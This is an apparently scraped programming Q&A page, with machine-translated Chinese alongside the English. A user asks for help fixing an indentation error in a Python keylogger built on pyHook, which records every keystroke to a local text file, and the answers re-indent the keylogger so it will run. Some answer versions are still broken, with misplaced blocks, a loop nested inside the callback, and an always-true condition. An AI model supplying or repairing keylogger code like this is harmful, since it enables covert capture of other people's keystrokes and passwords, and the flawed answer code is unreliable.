简体   繁体   English

Python - 错误:需要一个缩进块

[英]Python - Error: Expected an Indented Block

I've been tampering with Python and Keyloggers, trying to find a comprehensive tutorial on how to construct one and haven't been able to find one.我一直在篡改 Python 和键盘记录器,试图找到一个关于如何构建一个的综合教程,但一直找不到。 What really throws me off it the availability of the modules, versus the actual python update, and the pyhooks - trying to find compatibility is extremely difficult.真正让我失望的是模块的可用性,而不是实际的 python 更新,以及 pyhooks - 试图找到兼容性是非常困难的。 Anyway, I finally found a somewhat viable tutorial and I get the "Expected an Intended Block" error.无论如何,我终于找到了一个有点可行的教程,我收到了“预期的预期块”错误。 Here is the code.这是代码。

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
if event.Ascii == 5: 
sys.exit()

if event.Ascii != 0 or 8: 
f = open ('c:\\output.txt', 'a') 
keylogs = chr(event.Ascii) 
if event.Ascii == 13: 
keylogs = keylogs + '\n' 
f.write(keylogs) 
f.close()

while True:
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()

I get the error on the 5th line of code (if event.Ascii == 5:) something is wrong with that if and it's not allowing me to run the module.我在第 5 行代码(如果 event.Ascii == 5:)出现错误,如果它不允许我运行该模块。 Any help?有什么帮助吗? Thanks.谢谢。

Add proper formatting for your python script, for example add identation properly for OnKeyboardEvent function:为您的 python 脚本添加正确的格式,例如为OnKeyboardEvent函数正确添加标识:

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()
    if event.Ascii != 0 or 8: 
        f = open ('c:\\output.txt', 'a') 
        keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
        keylogs = keylogs + '\n' 
        f.write(keylogs) 
        f.close()

Also your while loop should contain identation:您的 while 循环也应包含标识:

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()

See Lines and Indentation section of that article.请参阅该文章的行和缩进部分。

Use this proper python code format in you code:在你的代码中使用这个正确的 python 代码格式:

import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5: 
        sys.exit()

if event.Ascii != 0 or 8: 
    f = open ('c:\\output.txt', 'a') 
    keylogs = chr(event.Ascii) 
    if event.Ascii == 13: 
       keylogs = keylogs + '\n' 
       f.write(keylogs) 
       f.close()

while True:
    hm = pyHook.HookManager() 
    hm.KeyDown = OnKeyboardEvent 
    hm.HookKeyboard()
    pythoncom.PumpMessages()
import win32api 
import sys
import pythoncom, pyHook 
buffer = ''

def OnKeyboardEvent(event):
    if event.Ascii == 5:
    sys.exit()
    if event.Ascii != 0 or 8:
        f = open ('c:\\output.txt', 'a')
        keylogs = chr(event.Ascii)
    if event.Ascii == 13:
        keylogs = keylogs + '\n'
        f.write(keylogs)
        f.close()
    while True:
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()

I am not sure if the code works.我不确定代码是否有效。 This is just an example how we should indent in python as we dont have braces here.这只是我们应该如何在 python 中缩进的一个例子,因为我们这里没有大括号。 You may also refer to this.你也可以参考这个。

http://www.secnetix.de/olli/Python/block_indentation.hawk http://www.secnetix.de/olli/Python/block_indentation.hawk

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM